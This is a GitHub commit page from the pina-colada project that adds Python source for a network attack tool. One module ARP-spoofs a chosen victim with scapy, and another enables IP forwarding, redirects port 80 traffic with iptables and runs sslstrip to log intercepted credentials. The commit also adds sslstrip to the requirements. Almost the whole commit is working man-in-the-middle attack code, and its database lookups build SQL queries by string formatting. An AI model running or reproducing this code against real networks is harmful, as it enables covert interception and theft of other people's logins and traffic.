-
Notifications
You must be signed in to change notification settings - Fork 34
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge branch 'master' of https://github.com/ecthros/pina-colada
- Loading branch information
Showing
4 changed files
with
89 additions
and
5 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,47 @@ | ||
from util_arp import * | ||
import os | ||
from capability import * | ||
|
||
class sslstrip(Capability): | ||
|
||
def __init__(self, core): | ||
super(sslstrip, self).__init__(core) | ||
self.name = "SSL Strip" | ||
self.options = { | ||
"masq" : Option("masq", "", "ID of the computer to masquerade as", True), | ||
"source": Option("source", "", "ID of the source computer", True), | ||
"dest": Option("dest", "", "ID of the target", True), | ||
"name": Option("name", "ssl_log", "File to log output of sslstrip", True), | ||
} | ||
self.help_text = INFO + "ARP Spoof, then strip SSL traffic, allowing us to see credentials." | ||
|
||
def exec_command(self, comm): | ||
self.core.cur.execute(comm) | ||
return self.core.cur.fetchall()[0][0] | ||
|
||
def getVars(self): | ||
self.masq_ip = self.exec_command("SELECT IP FROM COMPUTERS WHERE ID = '{0}'".format(self.get_value("masq"))) | ||
self.masq_mac = self.exec_command("SELECT MAC FROM COMPUTERS WHERE ID = '{0}'".format(self.get_value("masq"))) | ||
self.source_ip = self.exec_command("SELECT IP FROM COMPUTERS WHERE ID = '{0}'".format(self.get_value("source"))) | ||
self.source_mac = self.exec_command("SELECT MAC FROM COMPUTERS WHERE ID = '{0}'".format(self.get_value("source"))) | ||
self.dest_ip = self.exec_command("SELECT IP FROM COMPUTERS WHERE ID = '{0}'".format(self.get_value("dest"))) | ||
self.dest_mac = self.exec_command("SELECT MAC FROM COMPUTERS WHERE ID = '{0}'".format(self.get_value("dest"))) | ||
|
||
def arpGo(self): | ||
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") | ||
return arpBegin(self.masq_ip, self.masq_mac, self.source_mac, self.dest_ip, self.dest_mac) | ||
|
||
def restore(self): | ||
self.getVars() | ||
self.proc.terminate() | ||
arpEnd(self.masq_ip, self.masq_mac, self.dest_ip, self.dest_mac) | ||
os.system("iptables -F") | ||
os.system("killall sslstrip") | ||
|
||
|
||
def launch(self): | ||
self.getVars() | ||
os.system("sslstrip -w " + str(self.get_value("name")) + " &") | ||
self.proc = self.arpGo() | ||
os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000") | ||
return self.proc |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,36 @@ | ||
from scapy.all import * | ||
import subprocess | ||
import os | ||
import multiprocessing | ||
#masq_ip: ip we masquerade as. | ||
#masc_mac: Masqueraded mac address | ||
#source_mac: Our mac address | ||
#Dest IP: target ip | ||
#Dest Mac: target mac address | ||
#ex: arpDos("10.0.0.1", "00:0c:29:5f:e7:50", "b8:27:eb:c2:1c:52", "10.0.0.57", "00:0c:29:08:45:1a") | ||
|
||
def arpSend(masq_ip, masq_mac, source_mac, dest_ip, dest_mac): | ||
packet = ARP() | ||
packet.op = 2 | ||
packet.psrc = masq_ip | ||
packet.pdst = dest_ip | ||
packet.hwdst = dest_mac | ||
packet.hwsrc = source_mac | ||
send(packet) | ||
while True: | ||
send(packet) | ||
sniff(filter="arp and host " + masq_ip, count=1) | ||
|
||
def arpBegin(masq_ip, masq_mac, source_mac, dest_ip, dest_mac): | ||
proc= multiprocessing.Process(target=arpSend, args=(masq_ip, masq_mac, source_mac, dest_ip, dest_mac)) | ||
proc.start() | ||
return proc | ||
|
||
def arpEnd(masq_ip, masq_mac, dest_ip, dest_mac): | ||
packet = ARP() | ||
packet.op = 2 | ||
packet.psrc = masq_ip | ||
packet.pdst = dest_ip | ||
packet.hwdst = dest_mac | ||
packet.hwsrc = masq_mac | ||
send(packet) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -9,3 +9,5 @@ python-wifi | |
psycopg2 | ||
pycrypto | ||
nose | ||
flask_cors | ||
sslstrip |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters